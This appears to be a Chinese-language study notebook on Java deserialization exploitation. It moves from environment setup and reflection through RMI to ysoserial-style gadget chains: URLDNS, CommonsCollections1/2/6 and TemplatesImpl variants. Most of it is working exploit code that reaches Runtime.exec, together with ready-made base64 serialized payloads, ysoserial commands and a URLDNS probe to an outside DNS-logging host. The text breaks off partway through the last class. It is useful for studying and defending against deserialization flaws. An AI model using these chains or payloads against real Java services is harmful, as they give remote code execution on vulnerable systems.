1 环境准备

首先安装java

windows

https://www.oracle.com/java/technologies/downloads/#java8-windows

linux

sudo apt install openjdk-8-jre-headless

sudo apt install openjdk-8-jdk-headless

卸载java

先检查是否安装，命令：dpkg --list | grep -i jdk
移除openjdk包，命令：apt-get purge openjdk*
卸载 OpenJDK 相关包，命令：apt-get purge icedtea-* openjdk-*
再次检查是否卸载成功，命令：dpkg --list | grep -i jdk
卸载完成

安装java

https://www.oracle.com/java/technologies/downloads/#java8-linux
vim命令打开/etc/profile vim /etc/profile 在文件中加入
JAVA_HOME=/usr/local/jdk1.7.0_71 CLASSPATH=.:$JAVA_HOME/lib.tools.jar PATH=$JAVA_HOME/bin:$PATH export JAVA_HOME CLASSPATH PATH

安装idea https://www.jetbrains.com/idea/download/#section=windows

创建项目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


public class DoTest {
 public static void main(String[] args) {
 System.out.println(System.getProperty("user.home"));
 System.out.println(System.getProperty("java.version"));
 System.out.println(System.getProperty("os.name"));
 System.out.println(System.getProperty("java.vendor.url"));
 }
}
// output 
C:\Users\username
1.8.0_321
Windows 10
http://java.oracle.com/

2 反射

反射就是Reflection，Java的反射是指程序在运行期可以拿到一个对象的所有信息。

在正常情况下，除了系统类，如果我们想拿到一个类，需要先 import 才能使用。而使用forName就不需要，这样对于我们的攻击者来说就十分有利，我们可以加载任意类。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


public class Reflection {
 public static void main(String[] args) throws Exception {
 execute("Test","testPrint");
 }
 public static void execute(String className, String methodName) throws Exception {
 Class clazz = Class.forName(className);
 }
}
class Test{
 static {
 try {
 Class clazz = Class.forName("java.lang.Runtime");
 clazz.getMethod("exec", String[].class).invoke(clazz.getMethod("getRuntime").invoke(clazz),new String[][]{{"cmd.exe","/c","calc"}});
 } catch (Exception e){
 e.printStackTrace();
 }
 }
}

ProcessBuilder，我们使用反射来获取其构造函数，然后调用 start() 来执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


public class Reflection02 {
 public static void main(String[] args) {
 try {
 Class clazzTest = Class.forName("Test2");
 Class clazz = Class.forName("java.lang.ProcessBuilder");
 // ((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("cmd.exe", "/c", "calc"))).start();
 // new ProcessBuilder("calc.exe").start();
 // clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("cmd.exe","/c","calc")));
 clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"powershell.exe","-c","calc|calc"}}));
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
}
class Test2{
 static {
 System.out.println("test2");
 }
}

用 getDeclaredConstructor 来获取这个Runtime的构造方法来实例化对象，进而执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


public class Reflection03 {
 public static void main(String[] args) {
 try {
 Class clazz = Class.forName("java.lang.Runtime");
 Class constructor = Class.forName("java.lang.reflect.Constructor");
 Constructor m = clazz.getDeclaredConstructor();
 m.setAccessible(true);
 clazz.getMethod("exec", String.class).invoke(m.newInstance(),"calc.exe");
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
}
class Test3 {
 static {
 System.out.println("test3");
 }
}

3 RMI

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


//RMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
 public interface IRemoteHelloWorld extends Remote {
 public String hello() throws RemoteException;
 }

 public class RemoteHelloWorld extends UnicastRemoteObject implements
 IRemoteHelloWorld {
 protected RemoteHelloWorld() throws RemoteException {
 super();
 }

 public String hello() throws RemoteException {
 System.out.println("call from");
 return "Hello world";
 }
 }

 private void start() throws Exception {
 System.setProperty("java.rmi.server.hostname","vpsip");
 RemoteHelloWorld h = new RemoteHelloWorld();
 // RemoteHelloWorld skeleton = (RemoteHelloWorld) UnicastRemoteObject.exportObject(h, 11041);
 LocateRegistry.createRegistry(11099);
 Naming.rebind("rmi://127.0.0.1:11099/Hello", h);
 }

 public static void main(String[] args) throws Exception {
 new RMIServer().start();
 }
}

//Client.java
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.time.LocalDateTime;

public class Client {
 public static void main(String[] args) throws RemoteException, NotBoundException {
 // 连接到服务器，端口11099:
 Registry registry = LocateRegistry.getRegistry("vpsip", 11099);
 // 查找名称为"WorldClock"的服务并强制转型为WorldClock接口:
 WorldClock worldClock = (WorldClock) registry.lookup("WorldClock");
 // 正常调用接口方法:
 LocalDateTime now = worldClock.getLocalDateTime("Asia/Shanghai");
 // 打印调用结果:
 System.out.println(now);
 }
}

其中， java.rmi.server.hostname 是服务器的IP地址，远程调用时需要根据这个值来访问RMI Server。

4 反序列化

简单的序列化与反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


//SerializeDemo.java
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class SerializeDemo {
 public static void main(String[] args) throws Exception {
 Person person = new Person("L1ao",3);
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(person);
 byte[] encoded = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());
 System.out.println(new String(encoded));
 }
}
class Person implements java.io.Serializable {
 public String name;
 public int age;

 Person(String name, int age) {
 this.age = age;
 this.name = name;
 }
}

//DeserializeDemo.java
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class DeserializeDemo {
 public static void main(String[] args) throws Exception {
 String b64 = "rO0ABXNyAAZQZXJzb26fU5kJESsv1QMAAkkAA2FnZUwABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cAAAAAN0AARMMWFvdAAQVGhpcyBpcyBhIG9iamVjdHg=";
 byte[] bytes = Base64.getDecoder().decode(b64);
 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
 Person p = null;
 p = (Person) in.readObject();
 in.close();
 System.out.println("name:" + p.name +" age:" + p.age);
 }
}

URLDNS

yso示例

1

java -jar ysoserial.jar URLDNS "http://bb81c2a9.dns.1433.eu.org"|base64

使⽤Java内置的类构造，对第三⽅库没有依赖
在⽬标没有回显的时候，能够通过DNS请求得知是否存在反序列化漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


//URLDemo.java 示范
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

/* * Gadget Chain:
 * HashMap.readObject()
 * HashMap.putVal()
 * HashMap.hash()
 * URL.hashCode()
 * */
public class URLDemo {

 public static void main(String[] args) throws Exception {
 //Ser();
 DeSer();
 }
 static public void DeSer() throws Exception {
 String b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAGDc2OGExODkyLmRucy4xNDMzLmV1Lm9yZ3QAAHEAfgAFdAAEaHR0cHB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAANF4";
 byte[] bytes = Base64.getDecoder().decode(b64);
 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
 in.readObject();
 }

 static public void Ser() throws Exception {
 HashMap hashmap = new HashMap();
 URL url = new URL("http://768a1892.dns.1433.eu.org");
 Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
 filed.setAccessible(true);
 filed.set(url, 209);
 hashmap.put(url, 209);
 filed.set(url, -1);
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(hashmap);
 byte[] encoded = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());
 System.out.println(new String(encoded));
 }
}

Collections1

安装 Java JDK 1.7

创建 Maven项目添加依赖

1
2
3
4
5
6
7


<dependencies>
 <dependency>
 <groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.1</version>
 </dependency>
</dependencies>

TransformedMap版

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


//CommonCollections1.java TransformedMap版
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.misc.BASE64Encoder;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[] { String.class, Class[].class },
 new Object[] { "getRuntime", new Class[0] }),
 new InvokerTransformer("invoke",
 new Class[] { Object.class, Object[].class },
 new Object[] { null, new Object[0] }),
 new InvokerTransformer("exec",
 new Class[] { String.class },
 new String[] {"calc.exe" }),
 };
 Transformer transformerChain = new ChainedTransformer(transformers);
 Map innerMap = new HashMap();
 innerMap.put("value","xxxx");
 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
 constructor.setAccessible(true);
 Object obj = constructor.newInstance(Retention.class, outerMap);

 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(obj);
 BASE64Encoder b64 = new BASE64Encoder();
 String encode = b64.encode(byteArrayOutputStream.toByteArray());
 String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)", "");
 System.out.println(msg);
 }
}

//CommonCollectionsDeserializeDemo1.java
import sun.misc.BASE64Decoder;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
public class CommonCollectionsDeserializeDemo1 {
 public static void main(String[] args) throws Exception{
 String b64str = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGQAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABlzcQB+ABF1cQB+ABYAAAACcHVxAH4AFgAAAAB0AAZpbnZva2V1cQB+ABkAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAWc3EAfgARdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGQAAAAFxAH4AHnNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAFdmFsdWV0AAR4eHh4eHh2cgAeamF2YS5sYW5nLmFubm90YXRpb24uUmV0ZW50aW9uAAAAAAAAAAAAAAB4cA==";
 BASE64Decoder b64 = new BASE64Decoder();
 byte[] bytes = b64.decodeBuffer(b64str);
 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
 in.readObject();
 }
}

Java对象代理

示范

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


//ExampleInvocationHandler.java
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;


public class ExampleInvocationHandler implements InvocationHandler {
 protected Map map;

 public ExampleInvocationHandler(Map map) {
 this.map = map;
 }
 @Override
 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
 if (method.getName().compareTo("get") == 0) {
 System.out.println("HOOK Method: " + method.getName());
 return "Hacked by L1ao";
 }
 return method.invoke(this.map, args);
 }
}
//AppTest.java
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class AppTest {
 public static void main(String[] args) throws Exception {
 InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);
 proxyMap.put("hello","world");
 String result = (String) proxyMap.get("hello");
 System.out.println(result);
 }
}
/*
* 运行AppTest输出:
* HOOK Method: get
* Hacked by L1ao
* */

LazyMap版

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


//CommonCollections1.java LazyMap版
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.misc.BASE64Encoder;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[] { String.class, Class[].class },
 new Object[] { "getRuntime", new Class[0] }),
 new InvokerTransformer("invoke",
 new Class[] { Object.class, Object[].class },
 new Object[] { null, new Object[0] }),
 new InvokerTransformer("exec",
 new Class[] { String.class },
 new String[] {"powershell -c \"calc|calc\"" }),
 };
 Transformer transformerChain = new ChainedTransformer(transformers);
 Map innerMap = new HashMap();
 innerMap.put("value","xxxx");
 Map outerMap = LazyMap.decorate(innerMap, transformerChain);

 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
 constructor.setAccessible(true);
 InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);
 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler) ;
 handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);

 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(handler);
 BASE64Encoder b64 = new BASE64Encoder();
 String encode = b64.encode(byteArrayOutputStream.toByteArray());
 String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)", "");
 System.out.println(msg);
 }
}

yso命令

1

java -jar ysoserial.jar CommonsCollections1 'powershell -c "calc|calc"' |base64

Collections2

java.util.PriorityQueue

org.apache.commons.collections4.comparators.TransformingComparator

Transformer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.Base64;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CommonCollections2 {

 public static void main(String[] args) throws Exception {
 Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer(
 "getMethod",
 new Class[]{String.class, Class[].class},
 new Object[]{"getRuntime", new Class[0]}
 ),
 new InvokerTransformer(
 "invoke",
 new Class[]{Object.class, Object[].class},
 new Object[]{null, new Object[0]}
 ),
 new InvokerTransformer(
 "exec",
 new Class[]{String.class},
 new String[]{"calc.exe"}
 )
 };

 Transformer transformerChain = new ChainedTransformer(fakeTransformers);
 Comparator comparator = new TransformingComparator(transformerChain);

 PriorityQueue queue = new PriorityQueue(2, comparator);
 queue.add(1);
 queue.add(2);

 setFieldValue(transformerChain, "iTransformers", transformers);
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(barr);
 oos.writeObject(queue);
 oos.close();
 String barrBase64 = Base64.getEncoder().encodeToString(barr.toByteArray());
 System.out.println(barrBase64);
 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(barrBase64)));
 Object o = (Object) ois.readObject();
 }

 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }
}

TemplatesImpl(基于CC2)

在禁用Transformer数组时

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63


package org.example;


import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Comparator;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CommonCollections22 {

 public static void main(String[] args) throws Exception {

 TemplatesImpl templatesImplObj = new TemplatesImpl();
 setFieldValue(templatesImplObj, "_bytecodes", new byte[][] {getBytescode(HelloTemplatesImpl.class)});
 setFieldValue(templatesImplObj, "_name", "HelloTemplatesImpl");
 setFieldValue(templatesImplObj, "_tfactory", new TransformerFactoryImpl());

 Transformer transformer = new InvokerTransformer("toString",null,null);
 Comparator comparator = new TransformingComparator(transformer);

 PriorityQueue queue = new PriorityQueue(2, comparator);
 queue.add(templatesImplObj);
 queue.add(templatesImplObj);

 setFieldValue(transformer, "iMethodName", "newTransformer");
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(barr);
 oos.writeObject(queue);
 oos.close();
 String barrBase64 = Base64.getEncoder().encodeToString(barr.toByteArray());
 System.out.println(barrBase64);
 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(barrBase64)));
 Object o = (Object) ois.readObject();
 }

 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }

 public static byte[] getBytescode(Class<?> clazz) throws Exception {
 String className = clazz.getName().replace('.', '/') + ".class";
 URL classUrl = clazz.getClassLoader().getResource(className);
 try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) {
 byte[] buffer = new byte[4096];
 int n;
 while ((n = in.read(buffer)) > 0) {
 out.write(buffer, 0, n);
 }
 byte[] classBytes = out.toByteArray();
 return classBytes;
 }
 }
}

Collections6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74


package com.sec.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.misc.BASE64Encoder;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/**
 * @author L1ao
 * @version 1.0
 */
public class CommonCollections6 {
 public static void main(String[] args) throws Exception {
 Transformer[] fakeTransformers = new Transformer[]{
 new ConstantTransformer(1)
 };
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[] { String.class, Class[].class },
 new Object[] { "getRuntime", new Class[0] }),
 new InvokerTransformer("invoke",
 new Class[] { Object.class, Object[].class },
 new Object[] { null, new Object[0] }),
 new InvokerTransformer("exec",
 new Class[] { String.class },
 new String[] {"calc.exe" }),
 };
 Transformer transformerChain = new ChainedTransformer(fakeTransformers);

 Map innerMap = new HashMap();
 Map outerMap = LazyMap.decorate(innerMap, transformerChain);


 TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");

 Map expMap = new HashMap();
 expMap.put(tiedMapEntry,"value");

 outerMap.remove("key");

 Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
 f.setAccessible(true);
 f.set(transformerChain,transformers);


 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(expMap);
 objectOutputStream.close();


 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
 Object o = (Object)ois.readObject();

 BASE64Encoder b64 = new BASE64Encoder();
 String encode = b64.encode(byteArrayOutputStream.toByteArray());
 String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)", "");
 System.out.println(msg);
 }
}

TemplatesImpl(基于CC1)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83


package com.sec.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;


/**
 * @author L1ao
 * @version 1.0
 */
public class CommonCollections1 {
 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }

 private static String getClassBytes(Class<?> clazz) throws Exception {
 String className = clazz.getName().replace('.', '/') + ".class";
 URL classUrl = clazz.getClassLoader().getResource(className);
 try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) {
 byte[] buffer = new byte[4096];
 int n;
 while ((n = in.read(buffer)) > 0) {
 out.write(buffer, 0, n);
 }
 byte[] classBytes = out.toByteArray();
 String base64Class = new BASE64Encoder().encode(classBytes);
 String msg = base64Class.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)", "");
 return msg;
 }
 }

 public static void main(String[] args) throws Exception {

 BASE64Decoder base64Decoder = new BASE64Decoder();
 byte[] code = base64Decoder.decodeBuffer(getClassBytes(evil.HelloTemplatesImpl.class));

 TemplatesImpl templatesImplObj = new TemplatesImpl();
 setFieldValue(templatesImplObj, "_bytecodes", new byte[][] {code});
 setFieldValue(templatesImplObj, "_name", "HelloTemplatesImpl");
 setFieldValue(templatesImplObj, "_tfactory", new TransformerFactoryImpl());

 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(templatesImplObj),
 new InvokerTransformer("newTransformer",null,null)
 };
 Transformer transformerChain = new ChainedTransformer(transformers);
 Map innerMap = new HashMap();
 innerMap.put("value","xxxx");
 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
 constructor.setAccessible(true);
 Object obj = constructor.newInstance(Retention.class, outerMap);

 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(obj);
 BASE64Encoder b64 = new BASE64Encoder();
 String encode = b64.encode(byteArrayOutputStream.toByteArray());
 String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)", "");
 System.out.println(msg);
 }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


package evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
 public void transform(DOM document, SerializationHandler[] handlers)
